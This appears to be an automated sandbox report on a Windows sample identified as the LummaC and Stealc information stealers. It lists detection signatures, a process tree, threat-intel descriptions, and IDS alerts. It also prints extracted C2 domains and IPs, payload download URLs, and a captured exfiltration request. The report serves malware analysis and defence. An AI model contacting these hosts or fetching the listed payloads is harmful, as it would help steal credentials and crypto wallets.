Edit tour

Windows Analysis Report
BVGvbpplT8.exe

Overview

General Information

Sample name:	BVGvbpplT8.exe renamed because original name is a hash value
Original sample name:	6cc52eb35f095e2a0e4df669c998af29.exe
Analysis ID:	1579779
MD5:	6cc52eb35f095e2a0e4df669c998af29
SHA1:	82c35ea91513438ca6208b5b41e33bb94ff858d7
SHA256:	6c9ffc9867092f84baf32fb0fe858b1258df4d371ef2c67c2795e947927d9e7f
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

BVGvbpplT8.exe (PID: 4060 cmdline: "C:\Users\user\Desktop\BVGvbpplT8.exe" MD5: 6CC52EB35F095E2A0E4DF669C998AF29)

44WNAJWW05E0258PKFVID8DSXYO93MX.exe (PID: 7868 cmdline: "C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe" MD5: 579641D4119C3977AA3E5FDCBB740D8B)

O215CKAM4VJZ3EV7.exe (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe" MD5: 59729E914FA8E15D347129643C03AC1F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "grannyejh.lat", "necklacebudi.lat", "rapeflowwj.lat", "aspecteirs.lat", "crosshuaht.lat", "energyaffai.lat", "sustainskelet.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2625371744.0000000000451000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000003.2570990607.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2348831866.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BVGvbpplT8.exe PID: 4060	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BVGvbpplT8.exe PID: 4060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BVGvbpplT8.exe PID: 4060	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: O215CKAM4VJZ3EV7.exe PID: 8020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: O215CKAM4VJZ3EV7.exe PID: 8020	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:11.003189+0100	2028371	3	Unknown Traffic	192.168.2.6	49719	104.102.49.254	443	TCP
2024-12-23T09:00:13.395946+0100	2028371	3	Unknown Traffic	192.168.2.6	49721	104.21.66.86	443	TCP
2024-12-23T09:00:15.430797+0100	2028371	3	Unknown Traffic	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-23T09:00:18.407345+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-23T09:00:21.221082+0100	2028371	3	Unknown Traffic	192.168.2.6	49748	104.21.66.86	443	TCP
2024-12-23T09:00:24.651560+0100	2028371	3	Unknown Traffic	192.168.2.6	49762	104.21.66.86	443	TCP
2024-12-23T09:00:27.450350+0100	2028371	3	Unknown Traffic	192.168.2.6	49769	104.21.66.86	443	TCP
2024-12-23T09:00:29.940785+0100	2028371	3	Unknown Traffic	192.168.2.6	49776	104.21.66.86	443	TCP
2024-12-23T09:00:33.572394+0100	2028371	3	Unknown Traffic	192.168.2.6	49788	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:14.131255+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49721	104.21.66.86	443	TCP
2024-12-23T09:00:16.395590+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-23T09:00:34.345630+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49788	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:14.131255+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49721	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:16.395590+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49730	104.21.66.86	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:35.871354+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49794	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:08.886995+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.6	57576	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:09.178911+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.6	58783	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:08.356598+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	53952	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:08.746620+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.6	50225	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:08.174211+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	57472	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:08.521633+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.6	54160	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:09.323957+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.6	63226	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:09.033261+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.6	60527	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:08.029467+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	61793	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:19.329384+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49737	104.21.66.86	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:52.183417+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49833	185.215.113.206	80	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T09:00:11.910971+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49719	104.102.49.254	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeZ
Source: BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeT
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000DB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/aMX
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2E
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpNE
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpRE
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpn
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
